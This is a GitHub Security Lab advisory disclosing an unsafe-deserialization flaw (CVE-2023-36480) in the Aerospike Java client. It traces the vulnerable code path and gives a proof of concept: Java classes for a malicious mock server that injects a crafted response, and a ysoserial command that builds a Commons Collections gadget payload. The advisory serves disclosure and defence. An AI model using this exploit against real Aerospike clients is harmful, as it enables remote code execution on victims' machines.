skip to content
Back to
Home Bounties Research Advisories CodeQL Wall of Fame Get Involved Events
July 12, 2023

GHSL-2023-044: Unsafe Deserialization in Aerospike Java client - CVE-2023-36480

GitHub Security Lab

Coordinated Disclosure Timeline


The Aerospike Java client is a Java application that implements a network protocol to communicate with an Aerospike server. Some of the messages received from the server contain Java objects that the client deserializes when it encounters them without further validation. Attackers that manage to trick clients into communicating with a malicious server can include especially crafted objects in its responses that, once deserialized by the client, force it to execute arbitrary code. This can be abused to take control of the machine the client is running on.


Aerospike Java Client

Tested Version



Issue: Unsafe deserialization of server responses (GHSL-2023-044)

The Aerospike Java client implements different ways of communicating with an Aerospike server to perform several operations. Asynchronous commands can be executed using the Netty framework using the NettyCommand class. This class includes an InboundHandler that extends Netty’s ChannelInboundHandlerAdapter, which handles inbound data coming from the Netty channel established with the server. This is implemented in the channelRead method:


public void channelRead(ChannelHandlerContext ctx, Object msg) {;

The incoming msg object is handled by the method, which behaves differently depending on the state variable. Several states produce paths to the vulnerable code — for instance, we will follow the path through AsyncCommand.COMMAND_READ_HEADER:


private void read(ByteBuf byteBuffer) {
    eventReceived = true;

    try {
        switch (state) {
            // --snip--
            case AsyncCommand.COMMAND_READ_HEADER:
                if (command.isSingle) {
                // --snip--
        // --snip--
    // --snip---

Some bytes are read from the message buffer and saved in command.dataBuffer in the readSingleHeader method, after which parseSingleBody is called:


private void readSingleHeader(ByteBuf byteBuffer) {
    int readableBytes = byteBuffer.readableBytes();
    int dataSize = command.dataOffset + readableBytes;

    // --snip--

    byteBuffer.readBytes(command.dataBuffer, 0, dataSize);
    command.dataOffset = dataSize;

    if (command.dataOffset >= receiveSize) {

parseSingleBody simply delegates on AsyncCommand.parseCommandResult, which unless the message is compressed, directly calls AsyncCommand.parseResult. The implementation of this method depends on the command type. For an AsyncRead command, we have the following:


protected final boolean parseResult() {

    int resultCode = dataBuffer[dataOffset + 5] & 0xFF;
    int generation = Buffer.bytesToInt(dataBuffer, dataOffset + 6);
    int expiration = Buffer.bytesToInt(dataBuffer, dataOffset + 10);
    int fieldCount = Buffer.bytesToShort(dataBuffer, dataOffset + 18);
    int opCount = Buffer.bytesToShort(dataBuffer, dataOffset + 20);
    dataOffset += Command.MSG_REMAINING_HEADER_SIZE;

    if (resultCode == 0) {
        // --snip--
        record = parseRecord(opCount, generation, expiration, isOperation);
        return true;

It can be seen that several fields are read from the message’s bytes, and then a call to Command.parseRecord happens:


protected final Record parseRecord(
    int opCount,
    int generation,
    int expiration,
    boolean isOperation
)  {
    Map<String,Object> bins = new LinkedHashMap<>();

    for (int i = 0 ; i < opCount; i++) {
        int opSize = Buffer.bytesToInt(dataBuffer, dataOffset);
        byte particleType = dataBuffer[dataOffset + 5];
        byte nameSize = dataBuffer[dataOffset + 7];
        String name = Buffer.utf8ToString(dataBuffer, dataOffset + 8, nameSize);
        dataOffset += 4 + 4 + nameSize;

        int particleBytesSize = opSize - (4 + nameSize);
        Object value = Buffer.bytesToParticle(particleType, dataBuffer, dataOffset, particleBytesSize);

Buffer.bytesToParticle converts the remaining bytes in the data buffer depending on the particleType field. We’re interested in the JBLOB case:


public static Object bytesToParticle(int type, byte[] buf, int offset, int len)
    throws AerospikeException {
        switch (type) {
            // --snip--
            case ParticleType.JBLOB:
                return Buffer.bytesToObject(buf, offset, len);

In bytesToObject, the deserialization of an object from the message bytes happens:


public static Object bytesToObject(byte[] buf, int offset, int length) {
    // --snip--
    try (ByteArrayInputStream bastream = new ByteArrayInputStream(buf, offset, length)) {
        try (ObjectInputStream oistream = new ObjectInputStream(bastream)) {
            return oistream.readObject();
    // --snip--

NOTE: Take into account that there exists a similar sink, that can be reached in a similar way, in Unpacker.unpackBlock:


private T unpackBlob(int count) throws IOException, ClassNotFoundException {
    // --snip--
    case ParticleType.JBLOB:
        // --snip--
        try (ByteArrayInputStream bastream = new ByteArrayInputStream(buffer, offset, count)) {
            try (ObjectInputStream oistream = new ObjectInputStream(bastream)) {
                val = getJavaBlob(oistream.readObject());

This vulnerability was discovered with the help of CodeQL.


This issue may lead to Remote Code Execution (RCE) in the Java client.

Proof of concept

To exploit this vulnerability, a malicious Aerospike server is needed. For the sake of simplicity, we implemented a mock server with hardcoded responses, with the only goal of reaching the vulnerable code of the client. To be able to easily reproduce this, we used the client’s examples with the -netty flag, specifically the AsyncPutGet, which uses an AsyncRead. The examples point to localhost:3000 by default, so we set up a simple Netty TCP server listening on that port, which replicates responses previously intercepted from a real Aerospike server and returns them to the client, until the AsyncRead command happens. Then, our server injects the malicious response:

public class AttackChannelHandler extends SimpleChannelInboundHandler<String> {
    protected void channelRead0(ChannelHandlerContext ctx, String s) throws Exception {
        // --snip--
        if (s.getBytes()[7] == 0x44) {
            AttackMessage m = new AttackMessage(
        // --snip--

AttackMessage is a class that hardcodes the necessary data to deliver the payload:

public class AttackMessage {

    private byte resultCode = 0;
    private int generation = 2;
    private int expiration = 417523457;
    private short fieldCount = 0;
    private short opCount = 1;
    private byte particleType = 7;
    private String name = "putgetbin";
    private byte[] payload;

    public AttackMessage(byte[] payload) {
        this.payload = payload;

    // --snip-- (getters)

    public int[] getSize() {
        int size = 30 + name.length() + payload.length;
        int low = (byte) (size & 0xFF);
        int high = (byte) (size >> 8) & 0xFF;
        return new int[] {high, low};

    public int getOpSize() {
        return payload.length + 4 + name.length();

    public byte[] getPayload() {
        return payload;

And it’s finally encoded and delivered to the client through the network using a MessageToByteEncoder from Netty:

public class AttackMessageEncoder extends MessageToByteEncoder<AttackMessage> {

    protected void encode(ChannelHandlerContext ctx, AttackMessage msg, ByteBuf out)
            throws Exception {
        // header
        out.writeBytes(new byte[] {0x02, 0x03, 0x00, 0x00, 0x00, 0x00});
        int[] length = msg.getSize();

        out.writeBytes(new byte[] {0x16, 0x00, 0x00, 0x00, 0x00});

        out.writeBytes(new byte[] {0x00, 0x00, 0x00, 0x00});


        out.writeCharSequence(msg.getName(), Charset.defaultCharset());


The specific deserialization payload that needs to be used depends on the deserialization gadgets available in the classpath of the application using the Aerospike client. Again for simplicity, we assumed the victim application uses Apache Commons Collections 4.0, which contains a well-known deserialization gadget:


In which case, the malicious payload file could be generated using ysoserial as follows:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 '/System/Applications/' > payload.bin



This issue was discovered and reported by the GitHub CodeQL team members @atorralba (Tony Torralba) and @joefarebrother (Joseph Farebrother).


You can contact the GHSL team at, please include a reference to GHSL-2023-044 in any communication regarding this issue.